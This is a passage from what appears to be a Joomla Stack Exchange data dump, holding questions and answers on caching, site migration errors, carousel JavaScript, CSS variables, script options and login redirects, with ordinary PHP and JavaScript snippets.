$view-&amp;gt;setModel($this-&amp;gt;getModel('Sitemap'), true);&#xA;&#xA;    $safeurlparams = array(&#xA;        'id' =&amp;gt; 'INT',&#xA;        'itemid' =&amp;gt; 'INT',&#xA;        'uid' =&amp;gt; 'CMD',&#xA;        'action' =&amp;gt; 'CMD',&#xA;        'property' =&amp;gt; 'CMD',&#xA;        'value' =&amp;gt; 'CMD',&#xA;        'view' =&amp;gt; 'CMD',&#xA;        'lang' =&amp;gt; 'CMD'&#xA;    );&#xA;&#xA;    return parent::display($cacheable, $safeurlparams);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Folder structure:&lt;br&gt;&#xA;components&lt;br&gt;&#xA;- com_my_extension&lt;br&gt;&#xA;--- views&lt;br&gt;&#xA;---- html&lt;br&gt;&#xA;---- xml&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am missing here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it that the standard Joomla! cache, doesn't cache the XML output and I have to do it manually?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is the data in &lt;code&gt;$safeurlparams&lt;/code&gt; wrong? (I don't totally understand how the parts in this array should be.)&lt;/p&gt;&#xA;" OwnerUserId="13188" LastEditorUserId="12352" LastEditDate="2020-06-15T22:22:17.853" LastActivityDate="2020-06-16T13:29:33.753" Title="Cache works for html view but not for xml output" Tags="|cache|xml|cache-handler|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28166" PostTypeId="1" AcceptedAnswerId="28180" CreationDate="2020-06-16T05:14:24.380" Score="0" ViewCount="769" Body="&lt;p&gt;First, some background information...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am a medical doctor, not a professional webdev, and I am not very experienced with Joomla. I have only used Wordpress in the last few years for some random content.&lt;br&gt;&#xA;That said, I have recently been &quot;asked&quot; to take care of a website for a researcher group (I don't know how else to describe it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The website was previously administered by a webdev working in another country, who hosted the website on a private server. He told me all the requirements and we managed to find a hosting service which would support the previously built website (mostly concerning php and mySQL).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;He sent me the backup of the website and db, we registered the domain transfer, and once everything was done we were hoping everything would work. Of course, we were dead wrong.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have fixed the configuration.php file, but even after moving everything this message shows up:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Warning: require(/web/htdocs/&lt;em&gt;website_url&lt;/em&gt;/home/libraries/vendor/composer/../joomla/string/src/phputf8/utf8.php): failed to open stream: No such file or directory in /web/htdocs/&lt;em&gt;website_url&lt;/em&gt;/home/libraries/vendor/composer/autoload_real.php on line 66&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Warning: require(/web/htdocs/&lt;em&gt;website_url&lt;/em&gt;/home/libraries/vendor/composer/../joomla/string/src/phputf8/utf8.php): failed to open stream: No such file or directory in /web/htdocs/&lt;em&gt;website_url&lt;/em&gt;/home/libraries/vendor/composer/autoload_real.php on line 66&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Fatal error: require(): Failed opening required '/web/htdocs/&lt;em&gt;website_url&lt;/em&gt;/home/libraries/vendor/composer/../joomla/string/src/phputf8/utf8.php' (include_path='.:/php7.2/lib/php') in /web/htdocs/&lt;em&gt;website_url&lt;/em&gt;/home/libraries/vendor/composer/autoload_real.php on line 66&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have no idea how to solve this issue and it's really getting on my nerves. The webmaster is very supportive and is (hopefully) trying to find a solution as well, but so far he hasn't been able to solve this issue either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anybody willing to help me in this situation? :-(&lt;/p&gt;&#xA;" OwnerUserId="14352" LastEditorUserId="12352" LastEditDate="2020-06-16T08:38:37.990" LastActivityDate="2020-07-18T11:42:54.107" Title="Moving a Joomla site to a new hosting and now getting missing dependency errors" Tags="|joomla-3.9|autoload|composer|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="28167" PostTypeId="2" ParentId="28166" CreationDate="2020-06-16T12:50:47.883" Score="1" Body="&lt;p&gt;So there could be an issue with the new hosting if it’s alao a custom solution in that it doesn’t have a tool called composer installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I’d recommend:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Try reinstalling Joomla (or updating it if it’s not running the latest version, currently 3.9.19) by going to Components &gt; Update Joomla. That will update the dependency files.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;if that doesn’t resolve it, composer may need to be installed on the web server. Tips on how are in this thread: &lt;a href=&quot;https://stackoverflow.com/questions/47436773/laravel-5-2-fatal-errorvendor-composer-autoload-real-php-on-line-66&quot;&gt;https://stackoverflow.com/questions/47436773/laravel-5-2-fatal-errorvendor-composer-autoload-real-php-on-line-66&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Still stuck? I’m based in Australia, but you can find Certified Joomla Administrators from around the globe that can help in the directory at &lt;a href=&quot;https://certification.joomla.org/certified-user-directory&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://certification.joomla.org/certified-user-directory&lt;/a&gt; or PM me some more detail.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Patrick&lt;/p&gt;&#xA;" OwnerUserId="14062" LastActivityDate="2020-06-16T12:50:47.883" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28168" PostTypeId="2" ParentId="28054" CreationDate="2020-06-16T13:20:05.200" Score="2" Body="&lt;p&gt;Seems odd to me as to why you need to change the display ordering between the different views - would that make for an inconsistent UX?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As it looks to be a localised customisation, I’d consider programming it into the template override for the view by looking at the ID for the item and then transpose the object array into a temporary array with the desired field ordering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a number of ordering groups required, you might need to store the ordering in a json field in a custom field somewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another method I’ve seen used is with a combination of Regular Labs extensions (www.regularlabs.com) including Artickes Anywhere and Sourcerer. You can then build layouts you can switch between based on fields.&lt;/p&gt;&#xA;" OwnerUserId="14062" LastActivityDate="2020-06-16T13:20:05.200" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28169" PostTypeId="2" ParentId="28165" CreationDate="2020-06-16T13:29:33.753" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/18448077/how-to-cache-a-php-generated-xml-file-in-joomla&quot;&gt;https://stackoverflow.com/questions/18448077/how-to-cache-a-php-generated-xml-file-in-joomla&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An older question, but may give you a direction to consider to figure out what to add into the code generating your XML.&lt;/p&gt;&#xA;" OwnerUserId="14062" LastActivityDate="2020-06-16T13:29:33.753" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28170" PostTypeId="1" AcceptedAnswerId="28171" CreationDate="2020-06-16T18:14:09.967" Score="1" ViewCount="372" Body="&lt;p&gt;When managing an article, there is a &quot;&lt;strong&gt;Browser Page Title&lt;/strong&gt;&quot; field in article options tab. It's the last field in the tab, just below the &quot;Read More Text&quot;. Why it's not in the publishing tab makes no sence to me but okay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where is this field stored in database? I can't seam to find it in the &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/installation/sql/mysql/joomla.sql#L322&quot; rel=&quot;nofollow noreferrer&quot;&gt;#__content&lt;/a&gt; table.&#xA;(&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/administrator/components/com_content/models/forms/article.xml#L598&quot; rel=&quot;nofollow noreferrer&quot;&gt;line 598 in article.xml&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/j1nKt.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/j1nKt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks! &lt;/p&gt;&#xA;" OwnerUserId="13507" LastActivityDate="2020-06-16T19:58:20.510" Title="Where to find article page title in database?" Tags="|database|sql|article-manager|metadata|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28171" PostTypeId="2" ParentId="28170" CreationDate="2020-06-16T19:44:04.000" Score="2" Body="&lt;p&gt;Articles are the small modular content inside the CMS content workflow, the Browser Page Title is managed by the structure of the Menú and the last part of this process comes from the direct assignment of the article title... by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the tab &quot;Publishing&quot; we have another options like Meta's, related to SEO, now, the option for add custom Browser Page Title can be related to that too, that's why I think that this have more sense for you in this case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can say that we have this &quot;extra&quot; option in articles for more advanced or specific needs, an option to customize this for each one, thats why is under &quot;Options&quot; Tab, because is an option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are in the correct table:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Inside the &lt;strong&gt;xxxx_content table&lt;/strong&gt; &lt;em&gt;(xxxx is of course your db prefix)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Find your article and click to Edit&lt;/li&gt;&#xA;&lt;li&gt;Here you can find a column called &lt;strong&gt;&quot;attribs&quot;&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Edit the value for &lt;strong&gt;&quot;article_page_title&quot;:&quot;Your custom Browser Page Title&quot;&lt;/strong&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7394" LastEditorUserId="7394" LastEditDate="2020-06-16T19:58:20.510" LastActivityDate="2020-06-16T19:58:20.510" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28172" PostTypeId="1" CreationDate="2020-06-17T06:00:58.863" Score="1" ViewCount="41" Body="&lt;p&gt;I am using Joomla v3.9.19 along with SchuWeb Sitemaps (v3.1.0).&lt;/p&gt;&#xA;&lt;p&gt;Recently, I added some new pages (single article menu item) and added in menu entry the metadata &lt;code&gt;noindex, nofollow&lt;/code&gt;, but SchuWeb Sitemaps still includes these pages.&lt;/p&gt;&#xA;&lt;p&gt;How can I exclude those pages from the generated Sitemap?&lt;/p&gt;&#xA;" OwnerUserId="14354" LastEditorUserId="12352" LastEditDate="2020-06-17T09:45:55.453" LastActivityDate="2020-06-17T09:45:55.453" Title="SchuWeb Sitemap includes Noindex Pages" Tags="|joomla-3.x|menu-item|metadata|googlebots|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28173" PostTypeId="1" AcceptedAnswerId="28174" CreationDate="2020-06-17T12:08:28.223" Score="0" ViewCount="656" Body="&lt;p&gt;I am making a custom module using Owl Carousel 2. For some reason it just doesn't work in Joomla. The html structure is there in frontend, but the owl carousel is not displayed.&lt;/p&gt;&#xA;&lt;p&gt;Unfortunatly, there are no code snippets here in Joomla StackExchange, like we have on regular SE. But my code is rendered correctly.&lt;/p&gt;&#xA;&lt;p&gt;CSS and JS are loaded properly using &lt;code&gt;$document&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$document-&amp;gt;addStyleSheet('https://cdnjs.cloudflare.com/ajax/libs/OwlCarousel2/2.3.4/assets/owl.carousel.min.css');&#xA;$document-&amp;gt;addStyleSheet('https://cdnjs.cloudflare.com/ajax/libs/OwlCarousel2/2.3.4/assets/owl.theme.default.css');&#xA;$document-&amp;gt;addScript('https://cdnjs.cloudflare.com/ajax/libs/OwlCarousel2/2.3.4/owl.carousel.min.js','text/javascript', true, false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Html output:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&amp;quot;owl-carousel owl-theme&amp;quot;&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;item&amp;quot;&amp;gt;&#xA;        &amp;lt;img alt=&amp;quot;180px koala ag1&amp;quot; src=&amp;quot;images/sampledata/parks/animals/180px_koala_ag1.jpg&amp;quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;item&amp;quot;&amp;gt;&#xA;        &amp;lt;img alt=&amp;quot;180px wobbegong&amp;quot; src=&amp;quot;images/sampledata/parks/animals/180px_wobbegong.jpg&amp;quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;item&amp;quot;&amp;gt;&#xA;        &amp;lt;img alt=&amp;quot;200px phyllopteryx taeniolatus1&amp;quot; src=&amp;quot;images/sampledata/parks/animals/200px_phyllopteryx_taeniolatus1.jpg&amp;quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;item&amp;quot;&amp;gt;&#xA;        &amp;lt;img alt=&amp;quot;220px spottedquoll 2005 seanmcclean&amp;quot; src=&amp;quot;images/sampledata/parks/animals/220px_spottedquoll_2005_seanmcclean.jpg&amp;quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;&#xA;jQuery(document).ready(function() {&#xA;    jQuery(&amp;quot;.owl-carousel&amp;quot;).owlCarousel(&#xA;        loop:true,&#xA;        margin:10&#xA;    });&#xA;);&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When moving this to a simple html file, it works fine (when adding jQuery). Just not in Joomla? I am using protostar template, so jQuery is enabled.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Additional info:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The slideshow is not visible because it is set to &lt;code&gt;display:none&lt;/code&gt; in css.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9KkHb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9KkHb.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;When I set it to block, I can see the images, but they are not sliding. So I asume there is a problem loading the JS. I have tried with and without defer, using CDN and local. Nothing I tried helps.&lt;/p&gt;&#xA;&lt;p&gt;Anyone know what I am missing?&lt;/p&gt;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="13507" LastEditorUserId="13507" LastEditDate="2020-06-17T19:16:18.190" LastActivityDate="2020-06-17T19:16:18.190" Title="Owl Carousel not working in Joomla, why?" Tags="|jquery|custom-module|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="28174" PostTypeId="2" ParentId="28173" CreationDate="2020-06-17T12:49:03.497" Score="1" Body="&lt;p&gt;You have a JavaScript error:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;SyntaxError: missing ) after argument list&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Wrap argument list in curly brackets:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function() {&#xA;  jQuery(&amp;quot;.owl-carousel&amp;quot;).owlCarousel({&#xA;    loop:true,&#xA;    margin:10&#xA;  });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-06-17T12:49:03.497" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28176" PostTypeId="2" ParentId="16417" CreationDate="2020-06-17T18:56:30.350" Score="1" Body="&lt;p&gt;Following on from Neil's response I thought it might be worth including an example of using wget which has worked for me. Link to the approach documented &lt;a href=&quot;https://www.linuxjournal.com/content/downloading-entire-web-site-wget&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;wget \&#xA; --recursive \&#xA; --page-requisites \&#xA; --html-extension \&#xA; --convert-links \&#xA; --restrict-file-names=windows \&#xA; --domains your-domain.com \&#xA; https://your-domain.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14356" LastActivityDate="2020-06-17T18:56:30.350" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28177" PostTypeId="1" AcceptedAnswerId="28183" CreationDate="2020-06-17T19:13:22.917" Score="1" ViewCount="2047" Body="&lt;p&gt;I want to pass some variables to my css, without using inline styles. During some research I found different sources pointing to the same solution. For example &lt;a href=&quot;https://forum.joomla.org/viewtopic.php?t=929370&quot; rel=&quot;nofollow noreferrer&quot;&gt;here on the Joomla forum&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Basicly they explain how to use a php file as a stylesheet and incluse the php it like that:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $document-&amp;gt;addStyleSheet(.../my-custom-file.css.php'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Is this good practice? Should I do it like that or is there a better way provided by Joomla? Would this be able to cache? Would it be able to be combined and compressed by some other plugings for performance?&lt;/p&gt;&#xA;&lt;p&gt;Any insights are most appreciated. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="13507" LastEditorUserId="13507" LastEditDate="2020-06-17T22:13:33.290" LastActivityDate="2020-06-19T11:39:48.667" Title="Pass PHP variables to CSS?" Tags="|php|development|custom-component|css|custom-module|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28178" PostTypeId="1" AcceptedAnswerId="28181" CreationDate="2020-06-17T22:42:30.670" Score="1" ViewCount="308" Body="&lt;p&gt;I am passing some params to JS in my custom module using the addScriptOptions provided by Joomla:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$document-&amp;gt;addScriptOptions(&amp;quot;mod_mymodule&amp;quot;, $params));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This works fine, as long as there is only 1 instance of the same module on 1 page. But how to make it work for multiple modules on the same page?&lt;/p&gt;&#xA;&lt;p&gt;I would think to pass 1 object like so:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$document-&amp;gt;addScriptOptions(&amp;quot;mod_mymodule&amp;quot;, (object)array($params =&amp;gt; $module-&amp;gt;id)));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In my JavaScript file I can log the object:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;console.log(Joomla.getOptions('mod_mymodule'));&#xA;&#xA;// Output:&#xA;  {&#xA;  105: {...}&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So the problem is that &lt;strong&gt;only the first module is passed in the object&lt;/strong&gt;. I need every module to be passed in the object before it is passed to my JS file, so I can loop over the object to create desired script for each module.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Addition:&lt;/strong&gt;&#xA;I think I'm getting closer, but still not working:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$currentOptions = $document-&amp;gt;getScriptOptions('mod_mymodule');&#xA;if ($currentOptions) :&#xA;    $currentOptions-&amp;gt;{$module-&amp;gt;id}-&amp;gt;{$params};&#xA;else :&#xA;    $document-&amp;gt;addScriptOptions(&amp;quot;mod_mymodule&amp;quot;, (object)array($module-&amp;gt;id =&amp;gt; $params));&#xA;endif ;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I think the logic is there, or not? Syntax error? I'm not sure..&lt;/p&gt;&#xA;&lt;p&gt;Any insights? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="13507" LastEditorUserId="13507" LastEditDate="2020-06-17T23:02:48.260" LastActivityDate="2020-06-18T12:32:17.067" Title="Use addScriptOptions for multiple modules on same page" Tags="|development|custom-module|jdocument|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28179" PostTypeId="2" ParentId="28178" CreationDate="2020-06-17T23:22:27.520" Score="1" Body="&lt;p&gt;Okay.. Found the solution. Here we go:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$configs = $document-&amp;gt;getScriptOptions('mod_mymodule');&#xA;&#xA;if ($configs) :&#xA;    $configs[$module-&amp;gt;id] = $params;&#xA;else :&#xA;    $configs = array($module-&amp;gt;id =&amp;gt; $params);&#xA;endif ;&#xA;&#xA;$document-&amp;gt;addScriptOptions(&amp;quot;mod_mymodule&amp;quot;, $configs);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The logic wasn't that hard. I'm still pretty new at php and Joomla! development.&lt;/p&gt;&#xA;&lt;p&gt;Hopefully it will be of some use to someone else. Cheers!&lt;/p&gt;&#xA;" OwnerUserId="13507" LastActivityDate="2020-06-17T23:22:27.520" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28180" PostTypeId="2" ParentId="28166" CreationDate="2020-06-18T06:29:36.153" Score="2" Body="&lt;p&gt;In the end I managed to solve the issue by simply re-creating the page locally (using MAMP), generating an Akeeba backup, and restoring the backup via Kickstart. I really have no idea why this happened in the first place.&lt;/p&gt;&#xA;" OwnerUserId="14352" LastEditorUserId="12352" LastEditDate="2020-07-18T11:42:54.107" LastActivityDate="2020-07-18T11:42:54.107" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28181" PostTypeId="2" ParentId="28178" CreationDate="2020-06-18T09:55:08.483" Score="3" Body="&lt;p&gt;A simple code review:&lt;/p&gt;&#xA;&lt;p&gt;You don't need the condition block because &lt;code&gt;getScriptOptions()&lt;/code&gt; always returns an array.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.Document.Document.html#method_getScriptOptions&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;getScriptOptions()&lt;/code&gt; documentation&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you want to declare the variable &lt;code&gt;$configs&lt;/code&gt;...&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$configs = $document-&amp;gt;getScriptOptions('mod_mymodule');&#xA;$configs[$module-&amp;gt;id] = $params;&#xA;$document-&amp;gt;addScriptOptions(&amp;quot;mod_mymodule&amp;quot;, $configs);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If you don't want to declare the variable...&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$document-&amp;gt;addScriptOptions(&#xA;    &amp;quot;mod_mymodule&amp;quot;,&#xA;    array_replace(&#xA;        $document-&amp;gt;getScriptOptions('mod_mymodule'),&#xA;        [$module-&amp;gt;id =&amp;gt; $params]&#xA;    )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Both snippets execute the same behaviour, here's what is happening...&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If the returned array from &lt;code&gt;getScriptOptions()&lt;/code&gt; already contains a key which matches the &lt;code&gt;$module-&amp;gt;id&lt;/code&gt; value, then the element will be overwritten.&lt;/li&gt;&#xA;&lt;li&gt;If the key does not yet exist in the array, then the element will merely be added to the array.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2020-06-18T12:32:17.067" LastActivityDate="2020-06-18T12:32:17.067" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28182" PostTypeId="1" AcceptedAnswerId="28208" CreationDate="2020-06-18T10:00:55.743" Score="1" ViewCount="191" Body="&lt;p&gt;Joomla 3.9.19&lt;/p&gt;&#xA;&lt;p&gt;I have a login module and in the Login Redirection Page I have selected a menu item &amp;gt; single article. This redirect works fine.&lt;/p&gt;&#xA;&lt;p&gt;I also have a menu item type &amp;gt; login form. In the Menu Item Login Redirect I have selected a menu item &amp;gt; single article (same as above). This redirect doesn't work, I am always redirected to the user profile page.&lt;/p&gt;&#xA;&lt;p&gt;I have tried an absolute URL in the menu item type &amp;gt; login form, makes no difference.&lt;/p&gt;&#xA;&lt;p&gt;I don't have any other login componetns or plugins installed.&lt;/p&gt;&#xA;&lt;p&gt;I've seen a similar question &lt;a href=&quot;https://stackoverflow.com/questions/25260879/joomla-3-login-redirect-works-in-login-module-but-does-not-working-from-compon&quot;&gt;here&lt;/a&gt; and a few other places.&lt;/p&gt;&#xA;&lt;p&gt;Any ideas why this could be or how I can redirect to an article on both the login module &lt;strong&gt;and&lt;/strong&gt; the login menu item? I don't want to edit core files, and I dont think I should need an override for such a basic task?&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2020-06-24T07:49:41.847" Title="Redirect Working on Module Not Menu Item" Tags="|joomla-3.x|user|login|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28183" PostTypeId="2" ParentId="28177" CreationDate="2020-06-19T11:39:48.667" Score="2" Body="&lt;p&gt;Personally I wouldn't use a &lt;code&gt;.css.php&lt;/code&gt; file.&lt;/p&gt;&#xA;&lt;p&gt;The following assumes you &lt;strong&gt;WON'T&lt;/strong&gt; be supporting Internet Explorer and I will be answering your question about CSS filters. The grid/masonry can be asked as a separate question.&lt;/p&gt;&#xA;&lt;p&gt;So, let's say you want to set a CSS filter (grayscale) and the percentage is set dynamically.&lt;/p&gt;&#xA;&lt;p&gt;You firstly want to have the following CSS file (&lt;code&gt;my-custom-file.css&lt;/code&gt;):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.element {&#xA;  filter: var(--grayscale-filter)&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can then set your PHP variable and inject the CSS:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$percentage = '80%'; // Change 80% to whatever you like.&#xA;$css_filter = 'grayscale(' . $percentage . ')';&#xA;&#xA;Joomla\CMS\Factory::getDocument()-&amp;gt;addStyleDeclaration('&#xA;  :root {&#xA;    --grayscale-filter: ' . $css_filter . '&#xA;  }&#xA;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This will set the &lt;code&gt;--grayscale-filter&lt;/code&gt; variable with the value of &lt;code&gt;80%&lt;/code&gt;, which in turn is then called by &lt;code&gt;var(--grayscale-filter)&lt;/code&gt; from your CSS file.&lt;/p&gt;&#xA;&lt;p&gt;Hope this helps get you started off.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2020-06-19T11:39:48.667" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28184" PostTypeId="1" CreationDate="2020-06-19T16:33:29.590" Score="0" ViewCount="76" Body="&lt;p&gt;I have a component that I want to use to add a module automatically.&lt;/p&gt;&#xA;&lt;p&gt;This needs to be achieved in the administrator area.&lt;/p&gt;&#xA;&lt;p&gt;My idea is to have a button in one of the component views.  That component will make an ajax call which will then automatically create a module.  I have the ajax working and running.  What I want to check is adding a module directly to the database.&lt;/p&gt;&#xA;&lt;p&gt;Is there a class that exists to do this or do I have to add it directly in to the #_modules table?  and is the modules table and the assets table the only things that need updated?&lt;/p&gt;&#xA;&lt;p&gt;The code I'm going to use to create the assets table link (which I think will work?) is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;            function setAsset($id, $table, $inherit = true){&#xA;                $parent = JTable::getInstance('Asset');&#xA;                $parent-&amp;gt;loadByName('com_mycomponent');&#xA;&#xA;                $parentId = $parent-&amp;gt;id;&#xA;                $name     = 'com_mycomponent.'.$table.'.'.$id;&#xA;                $title    = '';&#xA;&#xA;                $asset = JTable::getInstance('Asset');&#xA;                $asset-&amp;gt;loadByName($name);&#xA;&#xA;                // Check for an error.&#xA;                $error = $asset-&amp;gt;getError();&#xA;&#xA;                if ($error)&#xA;                {&#xA;                    return false;&#xA;                }&#xA;                else&#xA;                {&#xA;                    &#xA;                    // Specify how a new or moved node asset is inserted into the tree.&#xA;                    if ($asset-&amp;gt;parent_id != $parentId)&#xA;                    {&#xA;                        $asset-&amp;gt;setLocation($parentId, 'last-child');&#xA;                    }&#xA;&#xA;                    // Prepare the asset to be stored.&#xA;                    $asset-&amp;gt;parent_id = $parentId;&#xA;                    $asset-&amp;gt;name      = $name;&#xA;                    $asset-&amp;gt;title     = $title;&#xA;                    // get the default asset rules&#xA;&#xA;                    $rules = getDefaultAssetRules('com_mycomponent', $table, $inherit);&#xA;                    if ($rules instanceof JAccessRules)&#xA;                    {&#xA;                        $asset-&amp;gt;rules = (string) $rules;&#xA;                    }&#xA;&#xA;                    if (!$asset-&amp;gt;check() || !$asset-&amp;gt;store())&#xA;                    {&#xA;                        JFactory::getApplication()-&amp;gt;enqueueMessage($asset-&amp;gt;getError(), 'warning');&#xA;                        return false;&#xA;                    }&#xA;                    else&#xA;                    {&#xA;                        // Create an asset_id or heal one that is corrupted.&#xA;                        $object = new stdClass();&#xA;&#xA;                        // Must be a valid primary key value.&#xA;                        $object-&amp;gt;id = $id;&#xA;                        $object-&amp;gt;asset_id = (int) $asset-&amp;gt;id;&#xA;&#xA;                        // Update their asset_id to link to the asset 